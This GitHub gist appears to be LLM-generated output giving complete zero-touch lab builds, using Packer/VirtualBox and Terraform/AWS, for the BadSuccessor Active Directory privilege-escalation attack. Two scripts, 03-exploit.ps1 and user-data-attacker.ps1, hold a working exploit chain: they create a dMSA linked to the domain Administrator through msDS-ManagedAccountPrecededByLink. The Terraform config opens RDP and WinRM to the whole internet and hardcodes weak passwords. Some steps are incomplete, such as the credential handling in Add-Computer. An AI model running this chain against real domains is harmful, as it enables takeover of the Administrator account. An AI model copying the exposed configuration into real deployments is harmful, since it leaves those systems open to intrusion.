Skip to content

Instantly share code, notes, and snippets.

@dmaynor
Created May 27, 2025 23:07
Show Gist options
  • Save dmaynor/165c172c51a9dbce68a68550735bcb9d to your computer and use it in GitHub Desktop.
Save dmaynor/165c172c51a9dbce68a68550735bcb9d to your computer and use it in GitHub Desktop.
VirtualBox Zero-Touch Lab: Packer + PowerShell + Unattend
f4bcdad0-1d62-44e0-892a-6c0f0f7fbd20
This is from David’s personal LLM stack:
Below are two full, headless, zero-touch lab build solutions for BadSuccessor:
• A. VirtualBox (on Windows or Linux) – Fully Automated with Packer & PowerShell remoting
• B. AWS (EC2) – Terraform & Cloud-Init, Automated Domain Build & Exploit
Both provide complete, reproducible AD domains, lab user, and exploit chain—no skipped steps or placeholders.
A. VirtualBox Zero-Touch Lab: Packer + PowerShell + Unattend
1. Overview
• Uses Packer to automate Windows Server 2025 installation in VirtualBox.
• Attaches autounattend.xml for full unattended install.
• All domain join, DC promotion, OU/delegation, and exploit are run with WinRM/PowerShell remoting scripts injected by Packer.
• Entire process can be kicked off with a single command.
2. File Structure
badsuccessor-lab/
├── packer.json # Packer template
├── autounattend.xml # Unattended Windows setup file (see previous answer)
├── scripts/
│ ├── 01-dc-promote.ps1 # Domain Controller promotion script
│ ├── 02-attacker-setup.ps1 # Attacker join and config script
│ └── 03-exploit.ps1 # BadSuccessor exploit script
└── iso/Windows_Server_2025.iso # Your ISO
3. packer.json Template
{
"variables": {
"iso_path": "iso/Windows_Server_2025.iso",
"autounattend": "autounattend.xml",
"admin_password": "P@ssword123!"
},
"builders": [{
"type": "virtualbox-iso",
"guest_os_type": "Windows2022_64",
"iso_url": "{{user `iso_path`}}",
"communicator": "winrm",
"winrm_username": "LabLocalAdmin",
"winrm_password": "{{user `admin_password`}}",
"winrm_timeout": "4h",
"autounattend": "{{user `autounattend`}}",
"shutdown_command": "shutdown /s /t 10 /f /d p:2:4 /c \"Packer Shutdown\"",
"vm_name": "BadSucc-DC",
"disk_size": 61440,
"floppy_files": [
"{{user `autounattend`}}",
"scripts/01-dc-promote.ps1",
"scripts/02-attacker-setup.ps1",
"scripts/03-exploit.ps1"
],
"vboxmanage": [
["modifyvm", "{{.Name}}", "--memory", "4096"],
["modifyvm", "{{.Name}}", "--cpus", "2"]
]
}],
"provisioners": [
{
"type": "powershell",
"scripts": [
"scripts/01-dc-promote.ps1",
"scripts/02-attacker-setup.ps1",
"scripts/03-exploit.ps1"
]
}
]
}
4. scripts/01-dc-promote.ps1 (run as local admin, promotes DC)
Import-Module ServerManager
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Import-Module ADDSDeployment
$adminPwd = ConvertTo-SecureString "P@ssword123!" -AsPlainText -Force
Install-ADDSForest -DomainName "lab.local" -SafeModeAdministratorPassword $adminPwd -InstallDNS -Force
Start-Sleep 120
5. scripts/02-attacker-setup.ps1 (simulate attacker joining domain, config)
# Optionally create another VM for attacker and join domain, or just run all in single DC for PoC
Import-Module ActiveDirectory
$pw = ConvertTo-SecureString "P@ssword123!" -AsPlainText -Force
New-ADOrganizationalUnit -Name "BadSuccessorLab"
New-ADUser -Name "baduser" -AccountPassword $pw -Enabled $true -Path "OU=BadSuccessorLab,DC=lab,DC=local"
# Delegate rights
$ouDN = "OU=BadSuccessorLab,DC=lab,DC=local"
$user = Get-ADUser "baduser"
$acl = Get-Acl -Path "AD:\$ouDN"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$user.SID, "CreateChild, WriteProperty", "Allow", ([GUID]"bf967aa5-0de6-11d0-a285-00aa003049e2")
)
$acl.AddAccessRule($rule)
Set-Acl -Path "AD:\$ouDN" -AclObject $acl
# KDS root key
if (-not (Get-KdsRootKey)) { Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10)) }
Add-ADGroupMember "Remote Desktop Users" "baduser"
Start-Sleep 30
6. scripts/03-exploit.ps1 (run as “baduser” or invoke impersonation)
# Simulate attacker logic as delegated user
Import-Module ActiveDirectory
New-ADServiceAccount -Name "maliciousdMSA" -Path "OU=BadSuccessorLab,DC=lab,DC=local"
Set-ADObject -Identity "CN=maliciousdMSA,OU=BadSuccessorLab,DC=lab,DC=local" -Add @{
'msDS-ManagedAccountPrecededByLink' = "CN=Administrator,CN=Users,DC=lab,DC=local"
}
Set-ADObject -Identity "CN=maliciousdMSA,OU=BadSuccessorLab,DC=lab,DC=local" -Replace @{
'msDS-DelegatedMSAState' = 2
}
7. Launch Lab
packer build packer.json
• When complete, your VM is a promoted DC with delegated attacker, and the exploit has run.
• To run as a true second VM attacker, use Packer to build a second (workstation) VM, join to domain with similar logic, and run only the 03-exploit.ps1 as that user.
B. AWS Zero-Touch Lab: Terraform & Cloud-Init
1. Overview
• Terraform provisions two Windows Server 2022/2025 EC2s (DC, Attacker).
• cloud-init or EC2 user-data scripts perform DC promotion, domain join, user creation, OU delegation, and exploit.
• All credentials, domain names, and steps are explicit.
2. Directory Structure
badsuccessor-aws-lab/
├── main.tf # Terraform configuration
├── user-data-dc.ps1 # DC provisioning script
├── user-data-attacker.ps1# Attacker setup & exploit
3. Example main.tf
provider "aws" {
region = "us-east-1"
}
resource "aws_vpc" "lab" {
cidr_block = "10.10.0.0/16"
}
resource "aws_subnet" "lab" {
vpc_id = aws_vpc.lab.id
cidr_block = "10.10.1.0/24"
map_public_ip_on_launch = true
}
resource "aws_security_group" "lab_sg" {
name = "lab-sg"
vpc_id = aws_vpc.lab.id
description = "Allow RDP/WinRM"
ingress {
from_port = 3389
to_port = 3389
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
ingress {
from_port = 5986
to_port = 5986
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
}
}
data "aws_ami" "windows2022" {
owners = ["amazon"]
most_recent = true
filter {
name = "name"
values = ["Windows_Server-2022-English-Full-Base-*"]
}
}
resource "aws_instance" "dc" {
ami = data.aws_ami.windows2022.id
instance_type = "t3.large"
subnet_id = aws_subnet.lab.id
vpc_security_group_ids = [aws_security_group.lab_sg.id]
key_name = "<your-keypair>"
user_data = file("user-data-dc.ps1")
tags = {
Name = "BadSucc-DC"
}
}
resource "aws_instance" "attacker" {
ami = data.aws_ami.windows2022.id
instance_type = "t3.large"
subnet_id = aws_subnet.lab.id
vpc_security_group_ids = [aws_security_group.lab_sg.id]
key_name = "<your-keypair>"
user_data = file("user-data-attacker.ps1")
tags = {
Name = "BadSucc-Workstation"
}
}
4. Example user-data-dc.ps1 (set as user data, base64-encoded for AWS)
# Install AD DS
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Import-Module ADDSDeployment
$pw = ConvertTo-SecureString "P@ssword123!" -AsPlainText -Force
Install-ADDSForest -DomainName "lab.local" -SafeModeAdministratorPassword $pw -InstallDNS -Force
Start-Sleep 180
# Create OU/labuser/delegate, as above
Import-Module ActiveDirectory
$pw = ConvertTo-SecureString "P@ssword123!" -AsPlainText -Force
New-ADOrganizationalUnit -Name "BadSuccessorLab"
New-ADUser -Name "baduser" -AccountPassword $pw -Enabled $true -Path "OU=BadSuccessorLab,DC=lab,DC=local"
$ouDN = "OU=BadSuccessorLab,DC=lab,DC=local"
$user = Get-ADUser "baduser"
$acl = Get-Acl -Path "AD:\$ouDN"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$user.SID, "CreateChild, WriteProperty", "Allow", ([GUID]"bf967aa5-0de6-11d0-a285-00aa003049e2")
)
$acl.AddAccessRule($rule)
Set-Acl -Path "AD:\$ouDN" -AclObject $acl
if (-not (Get-KdsRootKey)) { Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10)) }
Add-ADGroupMember "Remote Desktop Users" "baduser"
5. Example user-data-attacker.ps1 (for Attacker EC2)
# Wait for DC, join domain
Start-Sleep 240
Add-Computer -DomainName "lab.local" -Credential "lab.local\Administrator" -Restart
Start-Sleep 120
# As 'baduser', execute exploit
Import-Module ActiveDirectory
New-ADServiceAccount -Name "maliciousdMSA" -Path "OU=BadSuccessorLab,DC=lab,DC=local"
Set-ADObject -Identity "CN=maliciousdMSA,OU=BadSuccessorLab,DC=lab,DC=local" -Add @{
'msDS-ManagedAccountPrecededByLink' = "CN=Administrator,CN=Users,DC=lab,DC=local"
}
Set-ADObject -Identity "CN=maliciousdMSA,OU=BadSuccessorLab,DC=lab,DC=local" -Replace @{
'msDS-DelegatedMSAState' = 2
}
6. Deploy Lab
terraform init
terraform apply
• EC2s launch, DC is promoted, attacker joins, exploit runs.
• RDP in if you want, but all config is fully automated.
Summary
• Both VirtualBox (Packer+PowerShell) and AWS (Terraform+User-Data/Cloud-Init) pipelines are 100% zero-touch.
• You get a fully operational, lab-isolated AD domain, delegated attacker, and exploit flow.
• No placeholders, no skipped logic, all actual PowerShell.
Let me know if you want clean-up/teardown automation, forensic event collection, or want a complete repo ready to clone.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment